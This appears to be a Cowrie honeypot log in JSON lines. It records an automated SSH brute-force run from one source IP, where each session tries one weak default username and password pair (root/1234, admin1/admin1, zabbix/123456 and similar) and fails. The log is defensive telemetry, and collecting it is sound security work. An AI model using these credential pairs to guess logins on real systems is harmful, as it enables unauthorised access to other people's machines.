{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57776,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f5f5b771813","protocol":"ssh","message":"New connection: 192.109.200.237:57776 (159.203.135.109:22) [session: 3f5f5b771813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:59.582115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:59.586515Z","src_ip":"192.109.200.237","session":"3f5f5b771813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:59.667729Z","src_ip":"192.109.200.237","session":"3f5f5b771813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:59.948279Z","src_ip":"192.109.200.237","session":"3f5f5b771813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:01.031546Z","src_ip":"192.109.200.237","session":"3f5f5b771813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50286,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a199feb1fc0","protocol":"ssh","message":"New connection: 192.109.200.237:50286 (159.203.135.109:22) [session: 0a199feb1fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:02.743814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:02.749181Z","src_ip":"192.109.200.237","session":"0a199feb1fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:02.836170Z","src_ip":"192.109.200.237","session":"0a199feb1fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:03.084018Z","src_ip":"192.109.200.237","session":"0a199feb1fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:04.169718Z","src_ip":"192.109.200.237","session":"0a199feb1fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50294,"dst_ip":"159.203.135.109","dst_port":22,"session":"619fa763b801","protocol":"ssh","message":"New connection: 192.109.200.237:50294 (159.203.135.109:22) [session: 619fa763b801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:05.769093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:05.776658Z","src_ip":"192.109.200.237","session":"619fa763b801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:05.860544Z","src_ip":"192.109.200.237","session":"619fa763b801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:06.114479Z","src_ip":"192.109.200.237","session":"619fa763b801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:07.203698Z","src_ip":"192.109.200.237","session":"619fa763b801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50302,"dst_ip":"159.203.135.109","dst_port":22,"session":"a09db115a701","protocol":"ssh","message":"New connection: 192.109.200.237:50302 (159.203.135.109:22) [session: a09db115a701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:08.805330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:08.809823Z","src_ip":"192.109.200.237","session":"a09db115a701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:08.891759Z","src_ip":"192.109.200.237","session":"a09db115a701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:09.140040Z","src_ip":"192.109.200.237","session":"a09db115a701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:10.225907Z","src_ip":"192.109.200.237","session":"a09db115a701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44388,"dst_ip":"159.203.135.109","dst_port":22,"session":"7146b07fd111","protocol":"ssh","message":"New connection: 192.109.200.237:44388 (159.203.135.109:22) [session: 7146b07fd111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:11.818848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:11.823711Z","src_ip":"192.109.200.237","session":"7146b07fd111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:11.906120Z","src_ip":"192.109.200.237","session":"7146b07fd111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:12.152281Z","src_ip":"192.109.200.237","session":"7146b07fd111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:13.237129Z","src_ip":"192.109.200.237","session":"7146b07fd111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44400,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff1d10b7ccf7","protocol":"ssh","message":"New connection: 192.109.200.237:44400 (159.203.135.109:22) [session: ff1d10b7ccf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:14.924777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:14.962345Z","src_ip":"192.109.200.237","session":"ff1d10b7ccf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:15.042145Z","src_ip":"192.109.200.237","session":"ff1d10b7ccf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:15.328969Z","src_ip":"192.109.200.237","session":"ff1d10b7ccf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:16.414308Z","src_ip":"192.109.200.237","session":"ff1d10b7ccf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44416,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea1e2d35bc15","protocol":"ssh","message":"New connection: 192.109.200.237:44416 (159.203.135.109:22) [session: ea1e2d35bc15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:18.123801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:18.127266Z","src_ip":"192.109.200.237","session":"ea1e2d35bc15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:18.208685Z","src_ip":"192.109.200.237","session":"ea1e2d35bc15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:18.454840Z","src_ip":"192.109.200.237","session":"ea1e2d35bc15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:19.539859Z","src_ip":"192.109.200.237","session":"ea1e2d35bc15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45320,"dst_ip":"159.203.135.109","dst_port":22,"session":"94764767ee86","protocol":"ssh","message":"New connection: 192.109.200.237:45320 (159.203.135.109:22) [session: 94764767ee86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:21.177219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:21.181036Z","src_ip":"192.109.200.237","session":"94764767ee86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:21.265213Z","src_ip":"192.109.200.237","session":"94764767ee86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:21.513725Z","src_ip":"192.109.200.237","session":"94764767ee86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35844,"dst_ip":"10.17.0.5","dst_port":23,"session":"19fe553af661","protocol":"telnet","message":"New connection: 152.42.224.71:35844 (10.17.0.5:23) [session: 19fe553af661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:21.952612Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:22.608467Z","src_ip":"192.109.200.237","session":"94764767ee86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45332,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a14ed6f4eb","protocol":"ssh","message":"New connection: 192.109.200.237:45332 (159.203.135.109:22) [session: d2a14ed6f4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:24.256084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:31:24.261138Z","src_ip":"192.109.200.237","session":"d2a14ed6f4eb","protocol":"ssh"}
